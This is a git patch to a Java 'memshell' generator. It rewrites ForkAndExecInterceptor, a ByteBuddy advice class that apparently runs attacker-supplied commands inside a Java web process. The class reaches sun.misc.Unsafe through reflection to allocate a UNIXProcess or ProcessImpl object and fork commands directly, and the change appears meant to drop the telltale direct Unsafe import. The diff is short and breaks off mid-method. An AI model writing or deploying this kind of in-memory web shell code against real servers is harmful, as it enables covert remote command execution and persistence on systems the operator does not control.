From bc9998c68248be035a10a2611ac71fea19e4ac20 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 26 May 2025 02:05:20 +0800 Subject: [PATCH] feat: use unsafe by reflection --- .../generator/command/ForkAndExecInterceptor.java | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java index 060abbcd..7597e7a2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.generator.command; import net.bytebuddy.asm.Advice; -import sun.misc.Unsafe; import java.io.IOException; import java.io.InputStream; @@ -17,9 +16,10 @@ public class ForkAndExecInterceptor { public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { try { String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); Class processClass = null; @@ -28,7 +28,7 @@ public class ForkAndExecInterceptor { } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } - Object processObject = unsafe.allocateInstance(processClass); + Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); byte[][] args = new byte[strs.length - 1][]; int size = args.length;